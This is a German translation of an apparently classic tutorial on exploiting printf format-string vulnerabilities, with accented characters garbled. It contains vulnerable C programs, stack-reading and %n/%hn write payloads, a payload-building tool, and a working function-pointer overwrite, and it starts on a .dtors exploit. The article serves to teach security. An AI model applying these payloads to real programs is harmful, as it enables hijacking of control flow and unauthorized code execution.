Original in fr Frédéric Raynal, Christophe Blaess, Christophe Grenier
fr to en:Frédéric Raynal
en to de:Tjabo Kloppenburg
en to de:Guido Socher
Christophe Blaess ist ein unabh�ngiger Flugzeugingenieur. Er ist ein Linux-Fan, und erledigt den Gro�teil seiner Arbeit auf diesem System. Er koordiniert die �bersetzung der man-Pages des Linux Documentation Projects (LDP).
Christophe Grenier studiert im 5.Jahr am ESIEA, wo er auch als Sysadmin arbeitet. Er interessiert sich besonders f�r Computersicherheit.
Frédéric Raynal benutzt Linux seit vielen Jahren, weil es nicht verseucht ist mit Fetten, frei von k�nstlichen Hormonen und ohne BSE .... es enth�lt nur den Schwei� ehrlicher Leute und einige Tricks.
Die meisten Sicherheitsl�cken entstehen durch Konfigurationsfehler oder Faulheit. Wie wir sehen werden, best�tigt sich diese Regel bei Format-Strings aufs Neue.
In einem Programm besteht h�ufig die Notwendigkeit, eine Zeichenkette (string) irgendwohin zu schreiben. Das "Wohin" ist dabei erstmal nicht so wichtig. Eine einfache Anweisung reicht dazu aus:
printf("%s", str);
Ein (fauler) Programmierer k�nnte auf die Idee kommen, sechs Zeichen (und damit Zeit) zu sparen, und stattdessen zu schreiben:
printf(str);
Derartig "Effizienz" anstrebend baut dieser Programmierer eine
potentielle Sicherheitsl�cke in sein Programm ein. Er ist
gl�cklich damit, einen einzelnen String als Argument
�bergeben zu k�nnen, der einfach unver�ndert
angezeigt werden soll. Dieser String wird jedoch vor der Ausgabe
geparst, wobei er auf Format-Direktiven wie %d
,
%g
hin untersucht wird. Wird eine Direktive im String
gefunden, dann wird das korrespondierende Argument vom Stack
genommen.
Wir fangen mit einer Bescheibung der printf()
Funktionen an. Eigentlich kennt sie jeder... jedoch nicht im
Detail. Deshalb betrachten wir jetzt vor allem die weniger
bekannten Aspekte, und sehen uns danach an, woher wir die
n�tigen Informationen bekommen, um die angedeutete
Sicherheitsl�cke auszunutzen. Zum Schluss fassen wir das alles
zu einem runden Beispiel zusammen.
printf()
: davon haben wir doch nichts
gewusst!Fangen wir mit dem an, was wir alle aus unseren Programmierhandb�chern wissen: die meisten C-Funktionen f�r Input/Output setzen eine Daten-Formatierung ein, was bedeutet, dass man nicht nur Daten zur Verf�gung stellt, sondern zus�tzlich festlegen muss, wie es zu tun ist. Das folgende Programm zeigt das:
/* display.c */ #include <stdio.h> main() { int i = 64; char a = 'a'; printf("int : %d %d\n", i, a); printf("char : %c %c\n", i, a); }
�bersetzen und Starten:
>>gcc display.c -o display >>./display int : 64 97 char : @ a
Das erste printf()
schreibt die Werte des Integers
a
und der char-Variablen a
als
int
(unter Verwendung von %d
), wobei
a
in Form seines ASCII-Wertes angezeigt wird. Genauso,
nur andersrum, wird beim zweiten printf()
die
Integervariable i
in ein Zeichen umgewandelt (ASCII
64).
Alles wie gehabt und gewohnt, und konform zu vielen Funktionen,
die ein Prototyping wie printf()
verwenden:
const char
*format
) wird als Format-Spezifikation verwendet;Die meisten Programmier-Anleitungen enden hier, wobei sie noch
eine meist nicht sehr umfassende Liste m�glicher Formatstrings
angeben, wie %g
, %h
, %x
, und
vielleicht die Verwendung von .
, um die Genauigkeit
vorzugeben ("%5.2f"
). Aber es gibt eine weitere
Anweisung, �ber die nie gesprochen wird: %n
. Hier
die Info, die uns die Manpage zu printf()
gibt:
Die Anzahl bis jetzt geschriebener Zeichen wird im
angegebenen int * -Zeiger gespeichert. Kein
Argument wird umgewandelt. |
Und hieraus folgt die Kernaussage dieses Artikels: Dieses Argument macht es m�glich, einen Wert in eine
Zeigervariable zu schreiben, selbst wenn %n
in
einer Ausgabe-Funktion verwendet wird!
Bevor wir weitermachen sei angemerkt, dass es diesen
Formatierungs-Befehl auch bei den Funktionen der
scanf()
und syslog()
-Familie gibt...
Wir betrachten nun die Verwendung und das Verhalten von
%n
anhand kleiner Programme. Das erste,
printf1
, zeigt eine sehr einfache Verwendung:
/* printf1.c */ 1: #include <stdio.h> 2: 3: main() { 4: char *buf = "0123456789"; 5: int n; 6: 7: printf("%s%n\n", buf, &n); 8: printf("n = %d\n", n); 9: }
Das erste Argument in printf()
gibt den String
"0123456789
" aus, der 10 Zeichen enth�lt. Das
n�chste, %n
, schreibt diesen Wert, 10, in die
Variable n
:
>>gcc printf1.c -o printf1 >>./printf1 0123456789 n = 10
Wir �ndern nun das Programm ein wenig, indem wir Zeile 7 durch folgende neue Zeile ersetzen:
7: printf("buf=%s%n\n", buf, &n);
Starten wir das ver�nderte Programm, dann best�tigt
sich unsere Vorstellung: Die Variable n
ist jetzt 14
(10 Zeichen des Strings in buf
, plus die vier Zeichen
"buf=
" vorne im Formatstring).
Wir wissen jetzt, dass %n
alle Zeichen z�hlt,
die im Formatstring auftauchen. Wie wir gleich im
printf2
-Programm sehen werden, z�hlt es sogar
noch weitere:
/* printf2.c */ #include <stdio.h> main() { char buf[10]; int n, x = 0; snprintf(buf, sizeof buf, "%.100d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); }
Wir benutzen die snprintf()
-Funktion, um einen
Buffer-Overflow zu vermeiden. Die Variable n
sollte
jetzt den Wert 10 haben:
>>gcc printf2.c -o printf2 >>./printf2 l = 9 n = 100
Seltsam!? Das %n
berechnet offensichtlich die
Anzahl der Zeichen, die (eigentlich) geschrieben werden sollten. Das Beispiel zeigt, dass das
Abschneiden eines Strings aufgrund einer
Gr��enfestlegung unbeachtet bleibt.
Was wirklich geschieht? Der Format-String wird voll gef�llt, bevor er beschnitten und in den Zielpuffer kopiert wird:
/* printf3.c */ #include <stdio.h> main() { char buf[5]; int n, x = 1234; snprintf(buf, sizeof buf, "%.5d%n", x, &n); printf("l = %d\n", strlen(buf)); printf("n = %d\n", n); printf("buf = [%s] (%d)\n", buf, sizeof buf); }
Die Unterschiede zwischen printf3
und
printf2
sind:
buf
wird am Ende
ausgegeben.>>gcc printf3.c -o printf3 >>./printf3 l = 4 n = 5 buf = [0123] (5)
Die ersten beiden Zeilen �berraschen nicht weiter. Die
letzte Zeile offenbart das Verhalten der
printf()
-Funktion:
00000\0
" ensteht;x
in den String kopiert, der
nun so aussieht: "01234\0
";sizeof buf - 1
Bytes2 dieses Strings in den Zielstring
buf
kopiert: "0123\0
"Das ist jetzt nicht v�llig exakt, entspricht jedoch im
Gro�en und Ganzen dem Prozess. Wer sich f�r die
genaueren Einzelheiten interessiert, sollte die Sourcen
der GlibC
studieren, und darin speziell die von
vfprintf()
im ${GLIBC_HOME}/stdio-common
- Verzeichnis.
Bevor wir zum Ende dieses Kapitels kommen, sei noch darauf
hingewiesen, dass das gleiche Ergebnis auf eine leicht abgewandelte
Art h�tte erzielt werden k�nnen. In unserem Beispiel
hatten wir die Formatanweisung f�r die Anzahl der
Stellen eingesetzt (den Punkt '.'). Es gibt jedoch noch eine
weitere Anweisung, die den gleichen Effekt erzeugt:
0n
, wobei n
die Breite ist, und
die 0
daf�r sorgt, dass Leerzeichen im String
durch "0" ersetzt werden sollen, wenn nicht die gesamte
Stringbreite ausgenutzt wird.
Nachdem wir nun beinahe alles �ber Formatanweisungen
wissen, und vor allem auch �ber "%n
", werden wir
das Verhalten der Anweisungen n�her unter die Lupe nehmen.
printf()
Das n�chste Programm wird uns durch dieses Kapitel
begleiten, um uns die Zusammenh�nge zwischen
printf()
und dem Stack zu zeigen:
/* stack.c */ 1: #include <stdio.h> 2: 3: int 4 main(int argc, char **argv) 5: { 6: int i = 1; 7: char buffer[64]; 8: char tmp[] = "\x01\x02\x03"; 9: 10: snprintf(buffer, sizeof buffer, argv[1]); 11: buffer[sizeof (buffer) - 1] = 0; 12: printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); 13: printf ("i = %d (%p)\n", i, &i); 14: }
Dieses Programm kopiert lediglich ein Argument in den
buffer
. Wir achten darauf, dass kein Overflow
stattfindet, also keine wichtigen Daten �berschrieben werden
.
>>gcc stack.c -o stack >>./stack toto buffer : [toto] (4) i = 1 (bffff674)
Das Programm funktioniert wie erwartet :). Um die weiteren
Schritte zu verstehen, betrachten wir nun zuerst, was aus Sicht des
Stacks passiert, wenn in Zeile 8 snprintf()
aufgerufen
wird.
Abb. 1 : Der Stack zu Beginn des
Aufrufs von snprintf() |
Abbildung 1 beschreibt den Zustand des
Stacks in dem Moment, in dem das Programm in die
snprintf()
-Funktion eintritt (wir werden sehen, dass
es nicht ganz korrekt ist - aber es vermittelt uns eine Idee davon,
was passiert). Die Variablen i
, buffer
und tmp
liegen in der Reihenfolge auf dem Stack, in
der sie im Programm auftreten. Mit dem Eintreten in die
snprintf()
-Funktion landen danach die
Funktions-Parameter auf dem Stack:
argv[1]
;Der argv[1]
-String wird gleichzeitig als
Formatstring und als Datenquelle benutzt. Entsprechend der
normalen Reihenfolge der Parameter der
snprintf()
-Funktion steht argv[1]
also
dort, wo normalerweise der Formatstring steht. Da auch
Formatstrings ohne Formatanweisungen g�ltig sind (nur Text),
ist alles in Ordnung :)
Aber was passiert, wenn in argv[1]
Formatanweisungen stehen? Die snprintf()
-Funktion
interpretiert sie ganz normal - und es gibt keinen Grund, warum sie
das nicht tun sollte. Nur k�nnte man sich hier fragen, welche
Argumente als zu formatierende Daten genommen werden... Nun:
snprintf()
nimmt sich die Daten einfach vom Stack!
Schauen wir uns das mit unserem stack
-Programm an:
>>./stack "123 %x" buffer : [123 30201] (9) i = 1 (bffff674)
Zuerst wird der "123
"-String in den
buffer
kopiert. Das %x
fordert
snprintf()
auf, den ersten �bergebenen Wert in
die hexadezimale Schreibweise umzuwandeln. Gem��
Abbildung 1 ist dieser erste Wert nichts
anderes als die tmp
-Variable, die den String
"\x01\x02\x03\x00
" enth�lt. Diese Bytes werden
also als Hexzahl "0x00030201" in den Buffer geschrieben. Die
umgedrehte Reihenfolge ergibt sich aus der Tatsache, dass die
x86-Prozessoren die Daten als Little Endian speichern.
>>./stack "123 %x %x" buffer : [123 30201 20333231] (18) i = 1 (bffff674)
Mit einem weiteren %x
k�nnen wir weiter in den
Stack hineingehen. snprintf()
wird damit angewiesen,
die n�chsten vier Bytes hinter der tmp
-Variablen
auszulesen. Diese vier Bytes sind die ersten vier Bytes von
buffer
("123 "), die als 0x20333231 (0x20=space,
0x33='3'...) im Speicher liegen. Also, f�r jedes
%x
liest snprintf()
weitere vier Bytes
vom Stack in den buffer
(vier, weil ein unsigned
int
in einem x86-System vier Bytes belegt).
Die buffer
-Variable spielt also eine doppelte
Rolle:
Wir k�nnen solange weiter im Stack graben, wie
buffer
die erzeugten Zeichenketten aufnehmen kann:
>>./stack "%#010x %#010x %#010x %#010x %#010x %#010x" buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378 0x333837] (63) i = 1 (bffff654)
buffer
enth�lt, ermitteln. Die Adresse wurde vor
den Parametern der Funktion auf den Stack gelegt, und liegt deshalb
jenseits von tmp
, buffer
und
i
. Dabei besteht jedoch das Problem, dass der Platz in
buffer
begrenzt ist. Wir br�uchten eine
Fortmatanweisung, um gezielt Stackinhalte jenseits von
buffer
auszulesen...
Die L�sung finden wir in der Formatanweisung
m$
, die dazu dient, die Ausgabe-Reihenfolge von
Variablen �ber den Formatstring zu steuern. Dabei ist
m
ein Integer >0, der die Position der zu
benutzenden Variablen in der Liste der Argumente angibt (beginnend
mit 1). Mit dieser Anweisung kommen wir weiter:
/* explore.c */ #include <stdio.h> int main(int argc, char **argv) { char buf[12]; memset(buf, 0, 12); snprintf(buf, 12, argv[1]); printf("[%s] (%d)\n", buf, strlen(buf)); }
Die Formatanweisung %m$x
gibt uns also die
M�glichkeit, abw�rts zu einer beliebigen Stelle im Stack zu gehen. H�here
m
's bedeuten tiefere Stellen im Stack, da Parameter
mit h�heren Positionen zuerst auf den Stack gelegt werden:
>>./explore %1\$x [0] (1) >>./explore %2\$x [0] (1) >>./explore %3\$x [0] (1) >>./explore %4\$x [bffff698] (8) >>./explore %5\$x [1429cb] (6) >>./explore %6\$x [2] (1) >>./explore %7\$x [bffff6c4] (8)
Das \
ist hier notwendig, um das $
vor
der Shell zu sch�tzen. Mit den ersten drei Aufrufen lesen wir
den Inhalt von buf
aus, das in diesem Programm nur
noch 12 Bytes lang ist. Mit %4\$x
lesen wir den Inhalt
des gespeicherten %ebp
-Registers, und mit
%5\$x
den Inhalt des gesicherten
%eip
-Registers (also der R�cksprungadresse). Die
letzten beiden Aufrufe zeigen den Inhalt der
argc
-Variablen und der Adresse in
*argv
.
Dieses Beispiel zeigt uns, dass man mit den zur Verf�gung
stehenden Format-Anweisungen den Stack auf der Suche nach
interessanten Informationen durchsuchen kann, wie dem
R�ckgabewert einer Funktion, einer Adresse, usw...
Wir haben aber auch gesehen, dass wir mit Funktionen der
printf()
-Familie Inhalte von Variablen ver�ndern
k�nnen. Na, klingt das nicht wie ein wundersch�nes
potentielles Sicherheitsloch?
Betrachten wir noch einmal das stack
-Programm:
>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"' buffer : [d�ÿ¿00000000000000000000000000000000000000000000 000000000000000] (63) i = 500 (bffff664)Der Parameter-String f�r
stack
besteht aus:
i
,%.496x
),%n
), die an die
angegebene Adresse schreiben wird.i
(hier 0xbffff664
) zu
ermitteln, k�nnen wie das Programm zweimal starten, und beim
zweiten Mal die Kommandozeile entsprechend anpassen. Wie du beim
Aufruf sehen kannst, hat i
einen neuen Wert!
:).snprintf()
folgender Aufruf:
snprintf(buffer, sizeof buffer, "\x64\xf6\xff\xbf%.496x%n", tmp, die 4 ersten Bytes in buffer);
Die ersten vier Bytes (mit der Adresse von i
)
werden an den Anfang von buffer
geschrieben. Die
folgende Anweisung %.496x
liest tmp
vom
Stack und schreibt damit weitere 60 Zeichen in den buffer (sizeof
buffer = 64, 4 Bytes schon geschrieben).
Wenn der Format-Interpreter bei "%n" ankommt, schreibt er die Zahl
bereits geschriebener Zeichen (496 eigentlich geschriebener
Zeichen plus der vier Bytes der Adresse von i
) in die
als n�chstes auf dem Stack folgende Adresse. Da kein Zeiger
auf einen String als Parameter an snprintf()
�bergeben wurde, werden daf�r die n�chsten 4 Bytes
vom Stack genommen: die ersten 4 Bytes von buffer
-
mit der Adresse von i
!
Die Zahl 496 ist dabei relativ beliebig - es ist der Wert, der
nach i
geschrieben werden soll, minus 4.
Wir k�nnen das Ganze noch weiter treiben. Um i
�ndern zu k�nnen, brauchen wir ja seine Adresse, die
nicht unbedingt bekannt ist... manchmal jedoch liefert uns ein
Programm selbst die richtige Adresse:
/* swap.c */ #include <stdio.h> main(int argc, char **argv) { int cpt1 = 0; int cpt2 = 0; int addr_cpt1 = &cpt1; int addr_cpt2 = &cpt2; printf(argv[1]); printf("\ncpt1 = %d\n", cpt1); printf("cpt2 = %d\n", cpt2); }
Bei diesem Programm k�nnen wir den Stack (beinahe) beliebig kontrollieren:
>>./swap AAAA AAAA cpt1 = 0 cpt2 = 0 >>./swap AAAA%1\$n AAAA cpt1 = 0 cpt2 = 4 >>./swap AAAA%2\$n AAAA cpt1 = 4 cpt2 = 0
"swap AAAA%1\$n
" bedeutet bei diesem Programm in
Worten: "Gib AAAA aus, und schreibe dann die Anzahl geschriebener
Zeichen an die Adresse, die an der Stelle 1 auf dem Stack liegt.".
Wir k�nnen hier also abh�ngig vom Parameter gezielt den
Wert von cpt1
oder cpt2
�ndern.
Da %n
eine Adresse ben�tigt, k�nnen wir
nicht direkt in die Variablen schreiben [also %3$n
(cpt2)
oder %4$n (cpt1)
], sondern m�ssen
die Zeiger benutzen. Letztere sind in C �blich - und bieten
wirklich vielf�ltige Manipulations-M�glichkeiten.
egcs-2.91.66
und glibc-2.1.3-22
kompiliert wurde. M�glicherweise erh�ltst du auf deinem
System nicht die gleichen Resulate, weil die Funktionen in der Art
von *printf()
von der glibc
abh�ngen, und nicht von allen Compilern gleich compiliert
werden.
Das Programm stuff
zeigt diese Unterschiede
auf:
/* stuff.c */ #include <stdio.h> main(int argc, char **argv) { char aaa[] = "AAA"; char buffer[64]; char bbb[] = "BBB"; if (argc < 2) { printf("Usage : %s <format>\n",argv[0]); exit (-1); } memset(buffer, 0, sizeof buffer); snprintf(buffer, sizeof buffer, argv[1]); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); }
Die Arrays aaa
und bbb
dienen uns auf
unserer Reise durch den Stack als Trennmarke. Wenn wir auf
424242
treffen wissen wir also, dass die n�chsten
Bytes zum buffer
geh�ren.
Tabelle 1 zeigt die Unterschiede
abh�ngig von der Version der glibc und der Compiler.
|
|
|
gcc-2.95.3 | 2.1.3-16 | buffer = [8048178 8049618 804828e 133ca0 bffff454 424242 38343038 2038373] (63) |
egcs-2.91.66 | 2.1.3-22 | buffer = [424242 32343234 33203234 33343332 20343332 30323333 34333233 33] (63) |
gcc-2.96 | 2.1.92-14 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) |
gcc-2.96 | 2.2-12 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) |
Wir werden im Artikel weiterhin egcs-2.91.66
und
die glibc-2.1.3-22
einsetzen - wenn du auf deinem
System Unterschiede feststellst, sollte dich das jetzt nicht mehr
�berraschen.
Beim Exploiten von buffer overflows hatten wir einen buffer benutzt, um die R�cksprungadresse einer Funktion zu �berschreiben.
Wie wir gesehen haben, k�nnen wir mit Formtstrings an eine
beliebige Stelle gehen (stack, heap, bss,
.dtors, ...) - wir m�ssen nur sagen, wohin wir
was mit Hilfe von %n
schreiben wollen.
/* vuln.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> int helloWorld(); int accessForbidden(); int vuln(const char *format) { char buffer[128]; int (*ptrf)(); memset(buffer, 0, sizeof(buffer)); printf("helloWorld() = %p\n", helloWorld); printf("accessForbidden() = %p\n\n", accessForbidden); ptrf = helloWorld; printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf); snprintf(buffer, sizeof buffer, format); printf("buffer = [%s] (%d)\n", buffer, strlen(buffer)); printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf); return ptrf(); } int main(int argc, char **argv) { int i; if (argc <= 1) { fprintf(stderr, "Usage: %s <buffer>\n", argv[0]); exit(-1); } for(i=0;i<argc;i++) printf("%d %p\n",i,argv[i]); exit(vuln(argv[1])); } int helloWorld() { printf("Welcome in \"helloWorld\"\n"); fflush(stdout); return 0; } int accessForbidden() { printf("You shouldn't be here \"accesForbidden\"\n"); fflush(stdout); return 0; }
Wir definieren eine Variable mit dem Namen ptrf
,
die ein Zeiger auf eine Funktion ist. Wir werden den Wert dieses
Zeigers so ver�ndern, dass eine Funktion unserer Wahl
gestartet wird.
Zuerst m�ssen wir den Offset zwischen dem Anfang des verwundbaren Buffers und unserer aktuellen Position auf dem Stack ermitteln:
>>./vuln "AAAA %x %x %x %x" helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37) after : ptrf() = 0x8048634 (0xbffff5d4) Welcome in "helloWorld" >>./vuln AAAA%3\$x helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5e4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048634 (0xbffff5e4) Welcome in "helloWorld"
Der erste Aufruf gibt uns das, was wir brauchen: 3 Worte (1 Wort
= 4 Bytes bei x86 CPU) trennen uns vom Anfang der
buffer
-Variablen. Der zweite Aufruf mit
"AAAA%3\$x
" best�tigt das.
Unser Ziel besteht nun darin, den urspr�nglichen Wert des
Zeigers ptrf
(0x8048634
, der Adresse der
Funktion helloWorld()
) durch den Wert
0x8048654
(Addresse von
accessForbidden()
) zu ersetzen.
Dazu m�ssen wir 0x8048654
Bytes schreiben
(dezimal 134514260, also ca. 128MB). Nicht alle Rechner
verf�gen �ber den notwendigen Speicher - aber unserer
tuts :-). Auf einem Dual-Pentium mit 350MHz dauert es etwa 20
Sekunden:
>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n ` helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [Ôõÿ¿00000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000] (127) after : ptrf() = 0x8048654 (0xbffff5d4) You shouldn't be here "accesForbidden"
Was haben wir gemacht? Wir haben nur die Adresse von ptrf
(0xbffff5d4)
�bergeben. Die folgende Formatanweisung
(%.134514256x
) liest das erste Wort vom Stack, mit
einer "Genauigkeit" von 134514256. Wir haben schon die 4 Bytes der
Adresse von ptrf
geschrieben, m�ssen also noch
134514260-4=134514256
Bytes schreiben. Zum Schluss
schreiben wir den gew�nschten Wert an die angegebene Adresse
(%3$n
).
Wie bereits angedeutet stehen nicht immer 128MB f�r den
buffer zur Verf�gung. Die Formatanweisung %n
erwartet einen Zeiger auf einen Integer, also vier Bytes. Man kann
es jedoch so modifizieren, dass es einen Zeiger auf einen
short int
erwartet - das sind dann nur 2 Bytes - in
dem man %hn
schreibt. Das hei�t, wir k�nnen
das Schreiben des Integers in zwei Zahlen aufspalten. Die
gr��te zu schreibende Zahl ist dabei 0xffff
(65535). Bezogen auf das vorhergehende Beispiel wandeln wir also
die Operation "schreibe 0x8048654
an die Adresse
0xbffff5d4
" um in zwei aufeinanderfolgende, kleinere
Operationen:
0x8654
nach
0xbffff5d4
0x0804
nach
0xbffff5d4+2=0xbffff5d6
%n
(oder %hn
) berechnen die Zahl der
bereits in den String geschriebenen Zeichen. Diese Zahl kann sich
dadurch nur erh�hen, wir m�ssen also zuerst den kleineren
Wert schreiben. Die zweite Anweisung bekommt dann als "Genauigkeit"
die Differenz zwischen dem gebrauchten Wert und dem ersten Wert. In
unserem Beispiel ist die erste Anweisung %.2052x
(2052
= 0x0804), und die zweite %.32336x
(32336 = 0x8654 -
0x0804). Jedes folgende %hn
wird die richtige Anzahl
Bytes aufnehmen.
Wir m�ssen nur angeben wohin beide %hn
geschrieben werden sollen. Der m$
Operator wird uns
dabei helfen. Wenn wir die Adresse am Anfang des verletzbaren
Buffers speichern, dann m�ssen wir nur duch den Stack gehen
und den Offset zum Anfang des Stacks finden mit Hilfe des
m$
Formates. Beide Adressen werden dann bei einem
Offset von m
und m+1
sein. Da wir die
ersten 8 Bytes im Buffer f�r die zu �berschreibende
Adresse benutzen, mu� der erste Wert um 8 erniedrigt
werden.
So sieht unser Format-String aus:
"[addr][addr+2]%.[val. min. - 8]x%[offset]$hn%.[val. max -
val. min.]x%[offset+1]$hn"
Das folgende build
-Programm erzeugt einen
Format-String abh�ngig von den drei Argumenten:
/* build.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> /** The 4 bytes where we have to write are placed that way : HH HH LL LL The variables ending with "*h" refer to the high part of the word (H) The variables ending with "*l" refer to the low part of the word (L) */ char* build(unsigned int addr, unsigned int value, unsigned int where) { /* too lazy to evaluate the true length ... */ unsigned int length = 128; unsigned int valh; unsigned int vall; unsigned char b0 = (addr >> 24) & 0xff; unsigned char b1 = (addr >> 16) & 0xff; unsigned char b2 = (addr >> 8) & 0xff; unsigned char b3 = (addr ) & 0xff; char *buf; /* detailing the value */ valh = (value >> 16) & 0xffff; //top vall = value & 0xffff; //bottom fprintf(stderr, "adr : %d (%x)\n", addr, addr); fprintf(stderr, "val : %d (%x)\n", value, value); fprintf(stderr, "valh: %d (%.4x)\n", valh, valh); fprintf(stderr, "vall: %d (%.4x)\n", vall, vall); /* buffer allocation */ if ( ! (buf = (char *)malloc(length*sizeof(char))) ) { fprintf(stderr, "Can't allocate buffer (%d)\n", length); exit(EXIT_FAILURE); } memset(buf, 0, length); /* let's build */ if (valh < vall) { snprintf(buf, length, "%c%c%c%c" /* high address */ "%c%c%c%c" /* low address */ "%%.%hdx" /* set the value for the first %hn */ "%%%d$hn" /* the %hn for the high part */ "%%.%hdx" /* set the value for the second %hn */ "%%%d$hn" /* the %hn for the low part */ , b3+2, b2, b1, b0, /* high address */ b3, b2, b1, b0, /* low address */ valh-8, /* set the value for the first %hn */ where, /* the %hn for the high part */ vall-valh, /* set the value for the second %hn */ where+1 /* the %hn for the low part */ ); } else { snprintf(buf, length, "%c%c%c%c" /* high address */ "%c%c%c%c" /* low address */ "%%.%hdx" /* set the value for the first %hn */ "%%%d$hn" /* the %hn for the high part */ "%%.%hdx" /* set the value for the second %hn */ "%%%d$hn" /* the %hn for the low part */ , b3+2, b2, b1, b0, /* high address */ b3, b2, b1, b0, /* low address */ vall-8, /* set the value for the first %hn */ where+1, /* the %hn for the high part */ valh-vall, /* set the value for the second %hn */ where /* the %hn for the low part */ ); } return buf; } int main(int argc, char **argv) { char *buf; if (argc < 3) return EXIT_FAILURE; buf = build(strtoul(argv[1], NULL, 16), /* adresse */ strtoul(argv[2], NULL, 16), /* valeur */ atoi(argv[3])); /* offset */ fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf)); printf("%s", buf); return EXIT_SUCCESS; }
Abh�ngig davon, ob der erste geschriebene Wert der High- oder Low-Teil des WORD ist, �ndert sich die Position der Argumente. Schauen wir mal, welche L�sung (ohne RAM-Probleme :-) ) das Programm ausspuckt.
Unser kleines Beispielprogramm von vorhin erlaubt es uns, den Offset zu ermitteln:
>>./vuln AAAA%3\$x argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5d4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048644 (0xbffff5d4) Welcome in "helloWorld"
Es ist immer: 3. Da unser Programm konstruiert wurde, um zu
erkl�ren, was passiert, verf�gen wir bereits �ber
die weiteren Informationen, die wir brauchen: die Adressen von
ptrf
und accesForbidden()
. Wir legen
unseren Buffer entsprechend an:
>>./vuln `./build 0xbffff5d4 0x8048664 3` adr : -1073744428 (bffff5d4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [�õÿ¿Ôõÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [�õÿ¿Ôõÿ¿00000000000000000000d000 000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000] (127) after : ptrf() = 0x8048644 (0xbffff5b4) Welcome in "helloWorld"Es passiert nichts! Nun, da wir einen l�ngeren buffer verwendet haben als im vorherigen Beispiel, hat sich der Stack verschoben(
ptrf
ist von 0xbffff5d4
nach
0xbffff5b4
gewandert). Unsere Werte m�ssen
entsprechend angepasst werden:
>>./vuln `./build 0xbffff5b4 0x8048664 3` adr : -1073744460 (bffff5b4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [¶õÿ¿´õÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [¶õÿ¿´õÿ¿000000000000000000000 000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000] (127) after : ptrf() = 0x8048664 (0xbffff5b4) You shouldn't be here "accesForbidden"Gewonnen!!!
Wie gesehen k�nnen wir mit den Format-Strings �berall hin
schreiben. Wir betrachten nun ein Beispiel f�r einen Exploit,
der die .dtors
-Section nutzt.
Wenn ein Programm mit gcc
kompiliert wird, findet
man nachher im Programm sowohl einen Konstruktor
(.ctors
-Section) als auch einen Destruktor
(.dtors
-Section). Diese Sections enthalten Zeiger auf
Unterprogramme, die vor bzw. nach dem main-Programm ausgef�hrt
werden:
/* cdtors */ void start(void) __attribute__ ((constructor)); void end(void) __attribute__ ((destructor)); int main() { printf("in main()\n"); } void start(void) { printf("in start()\n"); } void end(void) { printf("in end()\n"); }Unser kleines Programm zeigt den Mechanismus:
>>gcc cdtors.c -o cdtors >>./cdtors in start() in main() in end()Diese Sections haben beiden denselben Aufbau:
>>objdump -s -j .ctors cdtors cdtors: file format elf32-i386 Contents of section .ctors: 804949c ffffffff dc830408 00000000 ............ >>objdump -s -j .dtors cdtors cdtors: file format elf32-i386 Contents of section .dtors: 80494a8 ffffffff f0830408 00000000 ............Wir sehen, dass jeweils das dritte WORD (in little endian) die Adresse unseres Unterprogramms (start und end) ist:
>>objdump -t cdtors | egrep "start|end" 080483dc g F .text 00000012 start 080483f0 g F .text 00000012 endDie Sections beinhalten also die Adressen, eingerahmt in
0xffffffff
und 0x00000000
.
Nun wenden wir das auf unser vuln
-Programm an,
wobei wir einen Format-String einsetzen. Zuerst ben�tigen wir
die Adressen, unter denen die Sections im Speicher stehen. Das ist
wirklich leicht, da wir das Binary haben ;-). Wir setzen einfach
wie eben objdump
ein:
>> objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 8049844 ffffffff 00000000 ........Da isses! Wir haben alles was wir brauchen.
Das Ziel des Exploits besteht darin, die Adresse eines
Unterprogramms in einer der Sections durch die des Unterprogramms
zu ersetzen, das wir starten wollen. Wenn die Sections leer sind,
�berschreiben wir einfach die Endemarke der Sections
(0x00000000
). Das erzeugt sp�ter einen
segmentation fault, da das Programm seinen 0x00000000
Marker nicht findet, und den n�chsten Wert als Zeiger auf ein
Unterprogramm wertet, was nicht unbedingt zutrifft.
Eigentlich ist der einzig interessante Abschnitt der destructor
(.dtors
): Wir haben keine Zeit irgendetwas von dem
Constructor (.ctors
) zu machen. Normalerweise ist es
genug, die Adresse 4 Bytes nach dem Start des Abschnittes
0xffffffff
zu setzen:
0x00000000
;Nun zur�ck zu unserem Beispiel. Wir ersetzten
0x00000000
im Abschnitt .dtors
und
plazierten dort 0x8049848=0x8049844+4
mit der Adresse
der accesForbidden()
Funktion, die wir schon kennen
(0x8048664
):
